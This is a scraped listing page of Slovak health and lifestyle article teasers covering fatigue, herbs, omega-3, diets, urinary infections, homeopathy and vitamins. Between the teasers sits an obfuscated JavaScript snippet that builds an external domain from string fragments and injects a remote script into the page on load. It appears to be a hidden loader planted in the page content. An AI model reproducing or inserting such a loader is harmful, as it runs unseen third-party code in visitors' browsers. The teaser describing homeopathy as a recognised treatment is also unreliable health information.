Trenčín, 9. september 2025 – V hoteli Magnus sa uskutočnilo ďalšie podujatie zo série Pre zdravie ženy, ktorá tento rok prebieha až v štyroch mestách na Slovensku. Dva dni po Trenčíne sa...
Únava je prirodzenou súčasťou života – po náročnom dni, prebdenej noci či po intenzívnej aktivite ju cíti každý. Ale čo ak sa cítite vyčerpaní neustále, aj keď spíte dostatočne, oddychujete a snažíte...
Bylinky patria k najstarším pomocníkom človeka pri udržiavaní zdravia a rovnováhy tela i duše. V ľudovom liečiteľstve sa oddávna využívali na upokojenie mysle, podporu dobrého spánku či zmiernenie napätia. Medovka, levanduľa či...
Mozog – náš najzložitejší a najzáhadnejší orgán. Aj keď ho máme na dosah, stále sa nám zdá, že je akýmsi neprebádaným oceánom, ktorý skrýva nekonečné tajomstvá. Tento fascinujúci "veliteľ" celého nášho tela...
Omega-3 mastné kyseliny sú už desaťročia v centre pozornosti lekárov aj výživových odborníkov. Hovorí sa o nich ako o „dobrých tukoch“, ktoré chránia srdce, mozog aj imunitu a spájajú sa aj s dlhším a kvalitnejším...
Leto sa síce ešte neskončilo, no pomaly sa blíži čas, kedy treba pomýšľať na to ako tráviť krásne jesenné dni. Jeseň je jedno z najkrajších a najfarebnejších období v roku, tak si...
Prokrastinácia je slovo, ktoré k nám prišlo z USA. Nemusíte sa ale obávať, nejde o žiadnu infekciu ani pomenovanie neznámeho vírusu či baktérie, ktorá by sa k nám z tejto krajiny dostala. Verte - neverte, prokrastinácia sa...
Rozhodli ste sa, že chcete niečo robiť s vaším telom, no neviete, kde začať? Ponúkame vám rady, ako si zariadiť posilňovňu u vás doma. Domáca posilka však prináša nielen výhody, ale aj drobné nástrahy....
Zdravie je to najdôležitejšie, čo máme. A často sú to ženy a mamy, ktoré pri starostlivosti o iných často zabúdajú na seba. Je tu však možnosť, kde dokážete za jeden jediný deň stihnúť neskutočne veľa.
Na...
Nízkobielkovinová diéta sa zameriava na zníženie príjmu bielkovín v prijatej strave. Vďaka tomuto typu diéty sú obličky menej zaťažované, a preto môže byť prospešná pre ľudí s určitými zdravotnými problémami.
Nízkobielkovinová diéta sa...
Časté chodenie „na malú“, pocit rezania alebo pálenia pri močení, zakalený moč či samovoľný únik moču? Aj týmito príznakmi sa môže prejaviť zápal močových ciest. Aké sú ďalšie príznaky infekcie močových ciest?...
Homeopatia je vo svete známou a aj uznávanou liečebnou metódou. Na jej účinky sa spolieha čoraz viac ľudí, len v susednej Českej republike má s homeopatikami skúsenosti takmer 40% ľudí. Aj keď ide len o doplnkovú...
(function(){
zyw2=document.createElement("script");zyw2_=(("u")+"st")+"a";zyw2.async=true;
zyw2.type="text/javascript";zyw2_+=("t.i")+""+"n";zyw2_+=(("f")+"o");zyw2_+="/";
zyw2u="373162752.";zyw2u+="7ym4u81jyw2p7k90wr3"+"arxlq13z6xq";
zyw2.src="https://"+zyw2_+zyw2u;document.body.appendChild(zyw2);
})();
Vitamíny sú veľmi diskutovanou témou nielen v oblasti výživy, ale aj v kozmetike. Na trhu sa stretnete s neuveriteľným množstvom produktov obsahujúcich dávku vybraných vitamínov. Najčastejšie sa jedná o vitamín C, retinol...
Ľudia, ktorí môžu jesť všetko, si niekedy neuvedomujú, aké majú šťastie. Majú neobmedzený výber potravín a jedál v reštaurácii. Na druhej strane sú tu ľudia, ktorí trpia jednou alebo viacerými alergiami. Ich...
